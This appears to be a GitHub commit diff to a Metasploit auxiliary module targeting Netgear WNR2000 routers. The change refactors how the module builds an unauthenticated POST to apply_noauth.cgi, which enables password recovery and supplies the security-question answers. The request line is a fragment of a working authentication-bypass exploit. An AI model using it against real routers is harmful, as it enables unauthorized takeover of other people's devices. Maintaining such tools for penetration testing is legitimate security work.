Skip to content

Commit bee36ca

Browse files
committed
Fix edge case
1 parent 68f1380 commit bee36ca

File tree

1 file changed

+5
-4
lines changed

1 file changed

+5
-4
lines changed

modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -178,11 +178,12 @@ def report_cred(opts)
178178

179179
def send_req(timestamp)
180180
begin
181-
uri_str = (timestamp == nil ? \
182-
"/apply_noauth.cgi?/PWD_password.htm" : \
183-
"/apply_noauth.cgi?/PWD_password.htm%20timestamp=#{timestamp.to_s}")
181+
query_str = (timestamp == nil ? \
182+
'/PWD_password.htm' : \
183+
"/PWD_password.htm%20timestamp=#{timestamp.to_s}")
184184
res = send_request_raw({
185-
'uri' => uri_str,
185+
'uri' => '/apply_noauth.cgi',
186+
'query' => query_str,
186187
'method' => 'POST',
187188
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
188189
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"

0 commit comments

Comments
 (0)